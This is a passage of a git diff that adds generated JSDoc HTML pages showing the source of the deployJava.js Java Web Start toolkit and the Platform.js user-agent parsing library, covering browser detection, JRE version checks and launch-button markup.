+                document.body.appendChild(divTag);
+            }
+        },
+
+        createWebStartLaunchButtonEx: function(jnlp, minimumVersion) {
+
+            if (this.returnPage == null) {
+                // if there is an install, come back and run the jnlp file
+                this.returnPage = jnlp;
+            }
+
+            var url = 'javascript:deployJava.launchWebStartApplication(\'' + jnlp +
+                '\');';
+
+            document.write('<' + 'a href="' + url +
+                '" onMouseOver="window.status=\'\'; ' +
+                'return true;"><' + 'img ' +
+                'src="' + this.launchButtonPNG + '" ' +
+                'border="0" /><' + '/' + 'a' + '>');
+        },
+
+
+        /**
+         * Outputs a launch button for the specified JNLP URL.  When clicked, the
+         * button will ensure that an appropriate JRE is installed and then launch
+         * the JNLP application.  minimumVersion is of the form #[.#[.#[_#]]], and
+         * is the minimum JRE version necessary to run this JNLP application.
+         * minimumVersion is optional, and if it is not specified, '1.4.2'
+         * will be used.
+         * If an appropriate JRE or Web Start installation is detected,
+         * the JNLP application will be launched, otherwise installLatestJRE()
+         * will be called.
+         *
+         * After installLatestJRE() is called, the script will attempt to detect
+         * that the JRE installation has completed and launch the JNLP application,
+         * but there are circumstances (such as when the JRE installation
+         * requires a browser restart) when this cannot be fulfilled.
+         */
+        createWebStartLaunchButton: function(jnlp, minimumVersion) {
+
+            if (this.returnPage == null) {
+                // if there is an install, come back and run the jnlp file
+                this.returnPage = jnlp;
+            }
+
+            var url = 'javascript:' +
+                'if (!deployJava.isWebStartInstalled(&quot;' +
+                minimumVersion + '&quot;)) {' +
+                'if (deployJava.installLatestJRE()) {' +
+                'if (deployJava.launch(&quot;' + jnlp + '&quot;)) {}' +
+                '}' +
+                '} else {' +
+                'if (deployJava.launch(&quot;' + jnlp + '&quot;)) {}' +
+                '}';
+
+            document.write('<' + 'a href="' + url +
+                '" onMouseOver="window.status=\'\'; ' +
+                'return true;"><' + 'img ' +
+                'src="' + this.launchButtonPNG + '" ' +
+                'border="0" /><' + '/' + 'a' + '>');
+        },
+
+
+        /**
+         * Launch a JNLP application, (using the plugin if available)
+         */
+        launch: function(jnlp) {
+            /*
+             * Using the plugin to launch Java Web Start is disabled for the time being
+             */
+            document.location=jnlp;
+            return true;
+        },
+
+
+        /*
+         * returns true if the ActiveX or XPI plugin is installed
+         */
+        isPluginInstalled: function() {
+            var plugin = this.getPlugin();
+            if (plugin && plugin.jvms) {
+                return true;
+            } else {
+                return false;
+            }
+        },
+
+        /*
+         * returns true if the plugin is installed and AutoUpdate is enabled
+         */
+        isAutoUpdateEnabled: function() {
+            if (this.isPluginInstalled()) {
+                return this.getPlugin().isAutoUpdateEnabled();
+            }
+            return false;
+        },
+
+        /*
+         * sets AutoUpdate on if plugin is installed
+         */
+        setAutoUpdateEnabled: function() {
+            if (this.isPluginInstalled()) {
+                return this.getPlugin().setAutoUpdateEnabled();
+            }
+            return false;
+        },
+
+        /*
+         * sets the preferred install type : null, online, kernel
+         */
+        setInstallerType: function(type) {
+            this.installType = type;
+            if (this.isPluginInstalled()) {
+                return this.getPlugin().setInstallerType(type);
+            }
+            return false;
+        },
+
+        /*
+         * sets additional package list - to be used by kernel installer
+         */
+        setAdditionalPackages: function(packageList) {
+            if (this.isPluginInstalled()) {
+                return this.getPlugin().setAdditionalPackages(
+                    packageList);
+            }
+            return false;
+        },
+
+        /*
+         * sets preference to install Early Access versions if available
+         */
+        setEarlyAccess: function(enabled) {
+            this.EAInstallEnabled = enabled;
+        },
+
+        /*
+         * Determines if the next generation plugin (Plugin II) is default
+         */
+        isPlugin2: function() {
+            if (this.isPluginInstalled()) {
+                if (this.versionCheck('1.6.0_10+')) {
+                    try {
+                        return this.getPlugin().isPlugin2();
+                    } catch (err) {
+                        // older plugin w/o isPlugin2() function -
+                    }
+                }
+            }
+            return false;
+        },
+
+        //support native DT plugin?
+        allowPlugin: function() {
+            this.getBrowser();
+
+            // Safari and Opera browsers find the plugin but it
+            // doesn't work, so until we can get it to work - don't use it.
+            var ret = ('Safari' != this.browserName2 &&
+                'Opera' != this.browserName2);
+
+            return ret;
+        },
+
+        getPlugin: function() {
+            this.refresh();
+
+            var ret = null;
+            if (this.allowPlugin()) {
+                ret = document.getElementById('deployJavaPlugin');
+            }
+            return ret;
+        },
+
+        compareVersionToPattern: function(version, patternArray,
+                                          familyMatch, minMatch) {
+            if (version == undefined || patternArray == undefined) {
+                return false;
+            }
+            var regex = "^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?$";
+            var matchData = version.match(regex);
+
+            if (matchData != null) {
+                var index = 0;
+                var result = new Array();
+
+                for (var i = 1; i < matchData.length; ++i) {
+                    if ((typeof matchData[i] == 'string') && (matchData[i] != ''))
+                    {
+                        result[index] = matchData[i];
+                        index++;
+                    }
+                }
+
+                var l = Math.min(result.length, patternArray.length);
+
+                // result contains what is installed in local machine
+                // patternArray is what is being requested by application
+                if (minMatch) {
+                    // minimum version match, return true if what we have (installed)
+                    // is greater or equal to what is requested.  false otherwise.
+                    for (var i = 0; i < l; ++i) {
+                        if (result[i] < patternArray[i]) {
+                            return false;
+                        } else if (result[i] > patternArray[i]) {
+                            return true;
+                        }
+                    }
+                    return true;
+                } else {
+                    for (var i = 0; i < l; ++i) {
+                        if (result[i] != patternArray[i]) return false;
+                    }
+                    if (familyMatch) {
+                        // family match - return true as long as what we have
+                        // (installed) matches up to the request pattern
+                        return true;
+                    } else {
+                        // exact match
+                        // result and patternArray needs to have exact same content
+                        return (result.length == patternArray.length);
+                    }
+                }
+            } else {
+                return false;
+            }
+        },
+
+        getBrowser: function() {
+
+            if (this.browserName == null) {
+                var browser = navigator.userAgent.toLowerCase();
+
+                log('[getBrowser()] navigator.userAgent.toLowerCase() -> ' + browser);
+
+
+                // order is important here.  Safari userAgent contains mozilla,
+                // and Chrome userAgent contains both mozilla and safari.
+                if ((browser.indexOf('msie') != -1) && (browser.indexOf('opera') == -1)) {
+                    this.browserName = 'MSIE';
+                    this.browserName2 = 'MSIE';
+                } else if (browser.indexOf('iphone') != -1) {
+                    // this included both iPhone and iPad
+                    this.browserName = 'Netscape Family';
+                    this.browserName2 = 'iPhone';
+                } else if ((browser.indexOf('firefox') != -1) && (browser.indexOf('opera') == -1)) {
+                    this.browserName = 'Netscape Family';
+                    this.browserName2 = 'Firefox';
+                } else if (browser.indexOf('chrome') != -1) {
+                    this.browserName = 'Netscape Family';
+                    this.browserName2 = 'Chrome';
+                } else if (browser.indexOf('safari') != -1) {
+                    this.browserName = 'Netscape Family';
+                    this.browserName2 = 'Safari';
+                } else if ((browser.indexOf('mozilla') != -1) && (browser.indexOf('opera') == -1)) {
+                    this.browserName = 'Netscape Family';
+                    this.browserName2 = 'Other';
+                } else if (browser.indexOf('opera') != -1) {
+                    this.browserName = 'Netscape Family';
+                    this.browserName2 = 'Opera';
+                } else {
+                    this.browserName = '?';
+                    this.browserName2 = 'unknown';
+                }
+
+                log('[getBrowser()] Detected browser name:'+ this.browserName +
+                    ', ' + this.browserName2);
+            }
+            return this.browserName;
+        },
+
+
+        testUsingActiveX: function(version) {
+            var objectName = 'JavaWebStart.isInstalled.' + version + '.0';
+
+            // we need the typeof check here for this to run on FF/Chrome
+            // the check needs to be in place here - cannot even pass ActiveXObject
+            // as arg to another function
+            if (typeof ActiveXObject == 'undefined' || !ActiveXObject) {
+                log('[testUsingActiveX()] Browser claims to be IE, but no ActiveXObject object?');
+                return false;
+            }
+
+            try {
+                return (new ActiveXObject(objectName) != null);
+            } catch (exception) {
+                return false;
+            }
+        },
+
+
+        testForMSVM: function() {
+            var clsid = '{08B0E5C0-4FCB-11CF-AAA5-00401C608500}';
+
+            if (typeof oClientCaps != 'undefined') {
+                var v = oClientCaps.getComponentVersion(clsid, "ComponentID");
+                if ((v == '') || (v == '5,0,5000,0')) {
+                    return false;
+                } else {
+                    return true;
+                }
+            } else {
+                return false;
+            }
+        },
+
+
+        testUsingMimeTypes: function(version) {
+            if (!navigator.mimeTypes) {
+                log ('[testUsingMimeTypes()] Browser claims to be Netscape family, but no mimeTypes[] array?');
+                return false;
+            }
+
+            for (var i = 0; i < navigator.mimeTypes.length; ++i) {
+                s = navigator.mimeTypes[i].type;
+                var m = s.match(/^application\/x-java-applet\x3Bversion=(1\.8|1\.7|1\.6|1\.5|1\.4\.2)$/);
+                if (m != null) {
+                    if (this.compareVersions(m[1], version)) {
+                        return true;
+                    }
+                }
+            }
+            return false;
+        },
+
+        testUsingPluginsArray: function(version) {
+            if ((!navigator.plugins) || (!navigator.plugins.length)) {
+                return false;
+            }
+            var platform = navigator.platform.toLowerCase();
+
+            for (var i = 0; i < navigator.plugins.length; ++i) {
+                s = navigator.plugins[i].description;
+                if (s.search(/^Java Switchable Plug-in (Cocoa)/) != -1) {
+                    // Safari on MAC
+                    if (this.compareVersions("1.5.0", version)) {
+                        return true;
+                    }
+                } else if (s.search(/^Java/) != -1) {
+                    if (platform.indexOf('win') != -1) {
+                        // still can't tell - opera, safari on windows
+                        // return true for 1.5.0 and 1.6.0
+                        if (this.compareVersions("1.5.0", version) ||
+                            this.compareVersions("1.6.0", version)) {
+                            return true;
+                        }
+                    }
+                }
+            }
+            // if above dosn't work on Apple or Windows, just allow 1.5.0
+            if (this.compareVersions("1.5.0", version)) {
+                return true;
+            }
+            return false;
+
+
+
+        },
+
+        IEInstall: function() {
+
+            location.href = constructGetJavaURL(
+                ((this.returnPage != null) ?
+                    ('&returnPage=' + this.returnPage) : '') +
+                    ((this.locale != null) ?
+                        ('&locale=' + this.locale) : '') +
+                    ((this.brand != null) ? ('&brand=' + this.brand) : ''));
+
+            // should not actually get here
+            return false;
+        },
+
+        done: function (name, result) {
+        },
+
+        FFInstall: function() {
+
+            location.href = constructGetJavaURL(
+                ((this.returnPage != null) ?
+                    ('&returnPage=' + this.returnPage) : '') +
+                    ((this.locale != null) ?
+                        ('&locale=' + this.locale) : '') +
+                    ((this.brand != null) ? ('&brand=' + this.brand) : '') +
+                    ((this.installType != null) ?
+                        ('&type=' + this.installType) : ''));
+
+            // should not actually get here
+            return false;
+        },
+
+        // return true if 'installed' (considered as a JRE version string) is
+        // greater than or equal to 'required' (again, a JRE version string).
+        compareVersions: function(installed, required) {
+
+            var a = installed.split('.');
+            var b = required.split('.');
+
+            for (var i = 0; i < a.length; ++i) {
+                a[i] = Number(a[i]);
+            }
+            for (var i = 0; i < b.length; ++i) {
+                b[i] = Number(b[i]);
+            }
+            if (a.length == 2) {
+                a[2] = 0;
+            }
+
+            if (a[0] > b[0]) return true;
+            if (a[0] < b[0]) return false;
+
+            if (a[1] > b[1]) return true;
+            if (a[1] < b[1]) return false;
+
+            if (a[2] > b[2]) return true;
+            if (a[2] < b[2]) return false;
+
+            return true;
+        },
+
+        enableAlerts: function() {
+            // reset this so we can show the browser detection
+            this.browserName = null;
+            this.debug = true;
+        },
+
+        poll: function() {
+
+            this.refresh();
+            var postInstallJREList = this.getJREs();
+
+            if ((this.preInstallJREList.length == 0) &&
+                (postInstallJREList.length != 0)) {
+                clearInterval(this.myInterval);
+                if (this.returnPage != null) {
+                    location.href = this.returnPage;
+                };
+            }
+
+            if ((this.preInstallJREList.length != 0) &&
+                (postInstallJREList.length != 0) &&
+                (this.preInstallJREList[0] != postInstallJREList[0])) {
+                clearInterval(this.myInterval);
+                if (this.returnPage != null) {
+                    location.href = this.returnPage;
+                }
+            }
+
+        },
+
+        writePluginTag: function() {
+            var browser = this.getBrowser();
+
+            if (browser == 'MSIE') {
+                document.write('<' +
+                    'object classid="clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA" ' +
+                    'id="deployJavaPlugin" width="0" height="0">' +
+                    '<' + '/' + 'object' + '>');
+            } else if (browser == 'Netscape Family' && this.allowPlugin()) {
+                this.writeEmbedTag();
+            }
+        },
+
+        refresh: function() {
+            navigator.plugins.refresh(false);
+
+            var browser = this.getBrowser();
+            if (browser == 'Netscape Family' && this.allowPlugin()) {
+                var plugin = document.getElementById('deployJavaPlugin');
+                // only do this again if no plugin
+                if (plugin == null) {
+                    this.writeEmbedTag();
+                }
+            }
+        },
+
+        writeEmbedTag: function() {
+            var written = false;
+            if (navigator.mimeTypes != null) {
+                for (var i=0; i < navigator.mimeTypes.length; i++) {
+                    if (navigator.mimeTypes[i].type == this.mimeType) {
+                        if (navigator.mimeTypes[i].enabledPlugin) {
+                            document.write('<' +
+                                'embed id="deployJavaPlugin" type="' +
+                                this.mimeType + '" hidden="true" />');
+                            written = true;
+                        }
+                    }
+                }
+                // if we ddn't find new mimeType, look for old mimeType
+                if (!written) for (var i=0; i < navigator.mimeTypes.length; i++) {
+                    if (navigator.mimeTypes[i].type == this.oldMimeType) {
+                        if (navigator.mimeTypes[i].enabledPlugin) {
+                            document.write('<' +
+                                'embed id="deployJavaPlugin" type="' +
+                                this.oldMimeType + '" hidden="true" />');
+                        }
+                    }
+                }
+            }
+        }
+    }; // deployJava object
+
+    rv.writePluginTag();
+    if (rv.locale == null) {
+        var loc = null;
+
+        if (loc == null) try {
+            loc = navigator.userLanguage;
+        } catch (err) { }
+
+        if (loc == null) try {
+            loc = navigator.systemLanguage;
+        } catch (err) { }
+
+        if (loc == null) try {
+            loc = navigator.language;
+        } catch (err) { }
+
+        if (loc != null) {
+            loc.replace("-","_")
+            rv.locale = loc;
+        }
+    }
+
+    return rv;
+}();
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/lib_platform.js.html b/docs/lib_platform.js.html new file mode 100644 index 000000000..2760a3daf --- /dev/null +++ b/docs/lib_platform.js.html @@ -0,0 +1,1269 @@ + + + + + JSDoc: Source: lib/platform.js + + + + + + + + + + +
+ +

Source: lib/platform.js

+ + + + + + +
+
+
/**
+ * Platform.js
+ * Copyright 2014-2018 Benjamin Tan
+ * Copyright 2011-2013 John-David Dalton
+ * Available under MIT license
+ * @namespace platform
+ */
+;(function() {
+  'use strict';
+
+  /** Used to determine if values are of the language type `Object`. */
+  var objectTypes = {
+    'function': true,
+    'object': true
+  };
+
+  /** Used as a reference to the global object. */
+  var root = (objectTypes[typeof window] && window) || this;
+
+  /** Backup possible global object. */
+  var oldRoot = root;
+
+  /** Detect free variable `exports`. */
+  var freeExports = objectTypes[typeof exports] && exports;
+
+  /** Detect free variable `module`. */
+  var freeModule = objectTypes[typeof module] && module && !module.nodeType && module;
+
+  /** Detect free variable `global` from Node.js or Browserified code and use it as `root`. */
+  var freeGlobal = freeExports && freeModule && typeof global == 'object' && global;
+  if (freeGlobal && (freeGlobal.global === freeGlobal || freeGlobal.window === freeGlobal || freeGlobal.self === freeGlobal)) {
+    root = freeGlobal;
+  }
+
+  /**
+   * Used as the maximum length of an array-like object.
+   * See the [ES6 spec](http://people.mozilla.org/~jorendorff/es6-draft.html#sec-tolength)
+   * for more details.
+   */
+  var maxSafeInteger = Math.pow(2, 53) - 1;
+
+  /** Regular expression to detect Opera. */
+  var reOpera = /\bOpera/;
+
+  /** Possible global object. */
+  var thisBinding = this;
+
+  /** Used for native method references. */
+  var objectProto = Object.prototype;
+
+  /** Used to check for own properties of an object. */
+  var hasOwnProperty = objectProto.hasOwnProperty;
+
+  /** Used to resolve the internal `[[Class]]` of values. */
+  var toString = objectProto.toString;
+
+  /*--------------------------------------------------------------------------*/
+
+  /**
+   * Capitalizes a string value.
+   *
+   * @private
+   * @param {string} string The string to capitalize.
+   * @returns {string} The capitalized string.
+   */
+  function capitalize(string) {
+    string = String(string);
+    return string.charAt(0).toUpperCase() + string.slice(1);
+  }
+
+  /**
+   * A utility function to clean up the OS name.
+   *
+   * @private
+   * @param {string} os The OS name to clean up.
+   * @param {string} [pattern] A `RegExp` pattern matching the OS name.
+   * @param {string} [label] A label for the OS.
+   */
+  function cleanupOS(os, pattern, label) {
+    // Platform tokens are defined at:
+    // http://msdn.microsoft.com/en-us/library/ms537503(VS.85).aspx
+    // http://web.archive.org/web/20081122053950/http://msdn.microsoft.com/en-us/library/ms537503(VS.85).aspx
+    var data = {
+      '10.0': '10',
+      '6.4':  '10 Technical Preview',
+      '6.3':  '8.1',
+      '6.2':  '8',
+      '6.1':  'Server 2008 R2 / 7',
+      '6.0':  'Server 2008 / Vista',
+      '5.2':  'Server 2003 / XP 64-bit',
+      '5.1':  'XP',
+      '5.01': '2000 SP1',
+      '5.0':  '2000',
+      '4.0':  'NT',
+      '4.90': 'ME'
+    };
+    // Detect Windows version from platform tokens.
+    if (pattern && label && /^Win/i.test(os) && !/^Windows Phone /i.test(os) &&
+        (data = data[/[\d.]+$/.exec(os)])) {
+      os = 'Windows ' + data;
+    }
+    // Correct character case and cleanup string.
+    os = String(os);
+
+    if (pattern && label) {
+      os = os.replace(RegExp(pattern, 'i'), label);
+    }
+
+    os = format(
+      os.replace(/ ce$/i, ' CE')
+        .replace(/\bhpw/i, 'web')
+        .replace(/\bMacintosh\b/, 'Mac OS')
+        .replace(/_PowerPC\b/i, ' OS')
+        .replace(/\b(OS X) [^ \d]+/i, '$1')
+        .replace(/\bMac (OS X)\b/, '$1')
+        .replace(/\/(\d)/, ' $1')
+        .replace(/_/g, '.')
+        .replace(/(?: BePC|[ .]*fc[ \d.]+)$/i, '')
+        .replace(/\bx86\.64\b/gi, 'x86_64')
+        .replace(/\b(Windows Phone) OS\b/, '$1')
+        .replace(/\b(Chrome OS \w+) [\d.]+\b/, '$1')
+        .split(' on ')[0]
+    );
+
+    return os;
+  }
+
+  /**
+   * An iteration utility for arrays and objects.
+   *
+   * @private
+   * @param {Array|Object} object The object to iterate over.
+   * @param {Function} callback The function called per iteration.
+   */
+  function each(object, callback) {
+    var index = -1,
+        length = object ? object.length : 0;
+
+    if (typeof length == 'number' && length > -1 && length <= maxSafeInteger) {
+      while (++index < length) {
+        callback(object[index], index, object);
+      }
+    } else {
+      forOwn(object, callback);
+    }
+  }
+
+  /**
+   * Trim and conditionally capitalize string values.
+   *
+   * @private
+   * @param {string} string The string to format.
+   * @returns {string} The formatted string.
+   */
+  function format(string) {
+    string = trim(string);
+    return /^(?:webOS|i(?:OS|P))/.test(string)
+      ? string
+      : capitalize(string);
+  }
+
+  /**
+   * Iterates over an object's own properties, executing the `callback` for each.
+   *
+   * @private
+   * @param {Object} object The object to iterate over.
+   * @param {Function} callback The function executed per own property.
+   */
+  function forOwn(object, callback) {
+    for (var key in object) {
+      if (hasOwnProperty.call(object, key)) {
+        callback(object[key], key, object);
+      }
+    }
+  }
+
+  /**
+   * Gets the internal `[[Class]]` of a value.
+   *
+   * @private
+   * @param {*} value The value.
+   * @returns {string} The `[[Class]]`.
+   */
+  function getClassOf(value) {
+    return value == null
+      ? capitalize(value)
+      : toString.call(value).slice(8, -1);
+  }
+
+  /**
+   * Host objects can return type values that are different from their actual
+   * data type. The objects we are concerned with usually return non-primitive
+   * types of "object", "function", or "unknown".
+   *
+   * @private
+   * @param {*} object The owner of the property.
+   * @param {string} property The property to check.
+   * @returns {boolean} Returns `true` if the property value is a non-primitive, else `false`.
+   */
+  function isHostType(object, property) {
+    var type = object != null ? typeof object[property] : 'number';
+    return !/^(?:boolean|number|string|undefined)$/.test(type) &&
+      (type == 'object' ? !!object[property] : true);
+  }
+
+  /**
+   * Prepares a string for use in a `RegExp` by making hyphens and spaces optional.
+   *
+   * @private
+   * @param {string} string The string to qualify.
+   * @returns {string} The qualified string.
+   */
+  function qualify(string) {
+    return String(string).replace(/([ -])(?!$)/g, '$1?');
+  }
+
+  /**
+   * A bare-bones `Array#reduce` like utility function.
+   *
+   * @private
+   * @param {Array} array The array to iterate over.
+   * @param {Function} callback The function called per iteration.
+   * @returns {*} The accumulated result.
+   */
+  function reduce(array, callback) {
+    var accumulator = null;
+    each(array, function(value, index) {
+      accumulator = callback(accumulator, value, index, array);
+    });
+    return accumulator;
+  }
+
+  /**
+   * Removes leading and trailing whitespace from a string.
+   *
+   * @private
+   * @param {string} string The string to trim.
+   * @returns {string} The trimmed string.
+   */
+  function trim(string) {
+    return String(string).replace(/^ +| +$/g, '');
+  }
+
+  /*--------------------------------------------------------------------------*/
+
+  /**
+   * Creates a new platform object.
+   *
+   * @memberOf platform
+   * @param {Object|string} [ua=navigator.userAgent] The user agent string or
+   *  context object.
+   * @returns {Object} A platform object.
+   */
+  function parse(ua) {
+
+    /** The environment context object. */
+    var context = root;
+
+    /** Used to flag when a custom context is provided. */
+    var isCustomContext = ua && typeof ua == 'object' && getClassOf(ua) != 'String';
+
+    // Juggle arguments.
+    if (isCustomContext) {
+      context = ua;
+      ua = null;
+    }
+
+    /** Browser navigator object. */
+    var nav = context.navigator || {};
+
+    /** Browser user agent string. */
+    var userAgent = nav.userAgent || '';
+
+    ua || (ua = userAgent);
+
+    /** Used to flag when `thisBinding` is the [ModuleScope]. */
+    var isModuleScope = isCustomContext || thisBinding == oldRoot;
+
+    /** Used to detect if browser is like Chrome. */
+    var likeChrome = isCustomContext
+      ? !!nav.likeChrome
+      : /\bChrome\b/.test(ua) && !/internal|\n/i.test(toString.toString());
+
+    /** Internal `[[Class]]` value shortcuts. */
+    var objectClass = 'Object',
+        airRuntimeClass = isCustomContext ? objectClass : 'ScriptBridgingProxyObject',
+        enviroClass = isCustomContext ? objectClass : 'Environment',
+        javaClass = (isCustomContext && context.java) ? 'JavaPackage' : getClassOf(context.java),
+        phantomClass = isCustomContext ? objectClass : 'RuntimeObject';
+
+    /** Detect Java environments. */
+    var java = /\bJava/.test(javaClass) && context.java;
+
+    /** Detect Rhino. */
+    var rhino = java && getClassOf(context.environment) == enviroClass;
+
+    /** A character to represent alpha. */
+    var alpha = java ? 'a' : '\u03b1';
+
+    /** A character to represent beta. */
+    var beta = java ? 'b' : '\u03b2';
+
+    /** Browser document object. */
+    var doc = context.document || {};
+
+    /**
+     * Detect Opera browser (Presto-based).
+     * http://www.howtocreate.co.uk/operaStuff/operaObject.html
+     * http://dev.opera.com/articles/view/opera-mini-web-content-authoring-guidelines/#operamini
+     */
+    var opera = context.operamini || context.opera;
+
+    /** Opera `[[Class]]`. */
+    var operaClass = reOpera.test(operaClass = (isCustomContext && opera) ? opera['[[Class]]'] : getClassOf(opera))
+      ? operaClass
+      : (opera = null);
+
+    /*------------------------------------------------------------------------*/
+
+    /** Temporary variable used over the script's lifetime. */
+    var data;
+
+    /** The CPU architecture. */
+    var arch = ua;
+
+    /** Platform description array. */
+    var description = [];
+
+    /** Platform alpha/beta indicator. */
+    var prerelease = null;
+
+    /** A flag to indicate that environment features should be used to resolve the platform. */
+    var useFeatures = ua == userAgent;
+
+    /** The browser/environment version. */
+    var version = useFeatures && opera && typeof opera.version == 'function' && opera.version();
+
+    /** A flag to indicate if the OS ends with "/ Version" */
+    var isSpecialCasedOS;
+
+    /* Detectable layout engines (order is important). */
+    var layout = getLayout([
+      { 'label': 'EdgeHTML', 'pattern': '(?:Edge|EdgA|EdgiOS)' },
+      'Trident',
+      { 'label': 'WebKit', 'pattern': 'AppleWebKit' },
+      'iCab',
+      'Presto',
+      'NetFront',
+      'Tasman',
+      'KHTML',
+      'Gecko'
+    ]);
+
+    /* Detectable browser names (order is important). */
+    var name = getName([
+      'Adobe AIR',
+      'Arora',
+      'Avant Browser',
+      'Breach',
+      'Camino',
+      'Electron',
+      'Epiphany',
+      'Fennec',
+      'Flock',
+      'Galeon',
+      'GreenBrowser',
+      'iCab',
+      'Iceweasel',
+      'K-Meleon',
+      'Konqueror',
+      'Lunascape',
+      'Maxthon',
+      { 'label': 'Microsoft Edge', 'pattern': '(?:Edge|EdgA|EdgiOS)' },
+      'Midori',
+      'Nook Browser',
+      'PaleMoon',
+      'PhantomJS',
+      'Raven',
+      'Rekonq',
+      'RockMelt',
+      { 'label': 'Samsung Internet', 'pattern': 'SamsungBrowser' },
+      'SeaMonkey',
+      { 'label': 'Silk', 'pattern': '(?:Cloud9|Silk-Accelerated)' },
+      'Sleipnir',
+      'SlimBrowser',
+      { 'label': 'SRWare Iron', 'pattern': 'Iron' },
+      'Sunrise',
+      'Swiftfox',
+      'Waterfox',
+      'WebPositive',
+      'Opera Mini',
+      { 'label': 'Opera Mini', 'pattern': 'OPiOS' },
+      'Opera',
+      { 'label': 'Opera', 'pattern': 'OPR' },
+      'Chrome',
+      { 'label': 'Chrome Mobile', 'pattern': '(?:CriOS|CrMo)' },
+      { 'label': 'Firefox', 'pattern': '(?:Firefox|Minefield)' },
+      { 'label': 'Firefox for iOS', 'pattern': 'FxiOS' },
+      { 'label': 'IE', 'pattern': 'IEMobile' },
+      { 'label': 'IE', 'pattern': 'MSIE' },
+      'Safari'
+    ]);
+
+    /* Detectable products (order is important). */
+    var product = getProduct([
+      { 'label': 'BlackBerry', 'pattern': 'BB10' },
+      'BlackBerry',
+      { 'label': 'Galaxy S', 'pattern': 'GT-I9000' },
+      { 'label': 'Galaxy S2', 'pattern': 'GT-I9100' },
+      { 'label': 'Galaxy S3', 'pattern': 'GT-I9300' },
+      { 'label': 'Galaxy S4', 'pattern': 'GT-I9500' },
+      { 'label': 'Galaxy S5', 'pattern': 'SM-G900' },
+      { 'label': 'Galaxy S6', 'pattern': 'SM-G920' },
+      { 'label': 'Galaxy S6 Edge', 'pattern': 'SM-G925' },
+      { 'label': 'Galaxy S7', 'pattern': 'SM-G930' },
+      { 'label': 'Galaxy S7 Edge', 'pattern': 'SM-G935' },
+      'Google TV',
+      'Lumia',
+      'iPad',
+      'iPod',
+      'iPhone',
+      'Kindle',
+      { 'label': 'Kindle Fire', 'pattern': '(?:Cloud9|Silk-Accelerated)' },
+      'Nexus',
+      'Nook',
+      'PlayBook',
+      'PlayStation Vita',
+      'PlayStation',
+      'TouchPad',
+      'Transformer',
+      { 'label': 'Wii U', 'pattern': 'WiiU' },
+      'Wii',
+      'Xbox One',
+      { 'label': 'Xbox 360', 'pattern': 'Xbox' },
+      'Xoom'
+    ]);
+
+    /* Detectable manufacturers. */
+    var manufacturer = getManufacturer({
+      'Apple': { 'iPad': 1, 'iPhone': 1, 'iPod': 1 },
+      'Archos': {},
+      'Amazon': { 'Kindle': 1, 'Kindle Fire': 1 },
+      'Asus': { 'Transformer': 1 },
+      'Barnes & Noble': { 'Nook': 1 },
+      'BlackBerry': { 'PlayBook': 1 },
+      'Google': { 'Google TV': 1, 'Nexus': 1 },
+      'HP': { 'TouchPad': 1 },
+      'HTC': {},
+      'LG': {},
+      'Microsoft': { 'Xbox': 1, 'Xbox One': 1 },
+      'Motorola': { 'Xoom': 1 },
+      'Nintendo': { 'Wii U': 1,  'Wii': 1 },
+      'Nokia': { 'Lumia': 1 },
+      'Samsung': { 'Galaxy S': 1, 'Galaxy S2': 1, 'Galaxy S3': 1, 'Galaxy S4': 1 },
+      'Sony': { 'PlayStation': 1, 'PlayStation Vita': 1 }
+    });
+
+    /* Detectable operating systems (order is important). */
+    var os = getOS([
+      'Windows Phone',
+      'Android',
+      'CentOS',
+      { 'label': 'Chrome OS', 'pattern': 'CrOS' },
+      'Debian',
+      'Fedora',
+      'FreeBSD',
+      'Gentoo',
+      'Haiku',
+      'Kubuntu',
+      'Linux Mint',
+      'OpenBSD',
+      'Red Hat',
+      'SuSE',
+      'Ubuntu',
+      'Xubuntu',
+      'Cygwin',
+      'Symbian OS',
+      'hpwOS',
+      'webOS ',
+      'webOS',
+      'Tablet OS',
+      'Tizen',
+      'Linux',
+      'Mac OS X',
+      'Macintosh',
+      'Mac',
+      'Windows 98;',
+      'Windows '
+    ]);
+
+    /*------------------------------------------------------------------------*/
+
+    /**
+     * Picks the layout engine from an array of guesses.
+     *
+     * @private
+     * @param {Array} guesses An array of guesses.
+     * @returns {null|string} The detected layout engine.
+     */
+    function getLayout(guesses) {
+      return reduce(guesses, function(result, guess) {
+        return result || RegExp('\\b' + (
+          guess.pattern || qualify(guess)
+        ) + '\\b', 'i').exec(ua) && (guess.label || guess);
+      });
+    }
+
+    /**
+     * Picks the manufacturer from an array of guesses.
+     *
+     * @private
+     * @param {Array} guesses An object of guesses.
+     * @returns {null|string} The detected manufacturer.
+     */
+    function getManufacturer(guesses) {
+      return reduce(guesses, function(result, value, key) {
+        // Lookup the manufacturer by product or scan the UA for the manufacturer.
+        return result || (
+          value[product] ||
+          value[/^[a-z]+(?: +[a-z]+\b)*/i.exec(product)] ||
+          RegExp('\\b' + qualify(key) + '(?:\\b|\\w*\\d)', 'i').exec(ua)
+        ) && key;
+      });
+    }
+
+    /**
+     * Picks the browser name from an array of guesses.
+     *
+     * @private
+     * @param {Array} guesses An array of guesses.
+     * @returns {null|string} The detected browser name.
+     */
+    function getName(guesses) {
+      return reduce(guesses, function(result, guess) {
+        return result || RegExp('\\b' + (
+          guess.pattern || qualify(guess)
+        ) + '\\b', 'i').exec(ua) && (guess.label || guess);
+      });
+    }
+
+    /**
+     * Picks the OS name from an array of guesses.
+     *
+     * @private
+     * @param {Array} guesses An array of guesses.
+     * @returns {null|string} The detected OS name.
+     */
+    function getOS(guesses) {
+      return reduce(guesses, function(result, guess) {
+        var pattern = guess.pattern || qualify(guess);
+        if (!result && (result =
+              RegExp('\\b' + pattern + '(?:/[\\d.]+|[ \\w.]*)', 'i').exec(ua)
+            )) {
+          result = cleanupOS(result, pattern, guess.label || guess);
+        }
+        return result;
+      });
+    }
+
+    /**
+     * Picks the product name from an array of guesses.
+     *
+     * @private
+     * @param {Array} guesses An array of guesses.
+     * @returns {null|string} The detected product name.
+     */
+    function getProduct(guesses) {
+      return reduce(guesses, function(result, guess) {
+        var pattern = guess.pattern || qualify(guess);
+        if (!result && (result =
+              RegExp('\\b' + pattern + ' *\\d+[.\\w_]*', 'i').exec(ua) ||
+              RegExp('\\b' + pattern + ' *\\w+-[\\w]*', 'i').exec(ua) ||
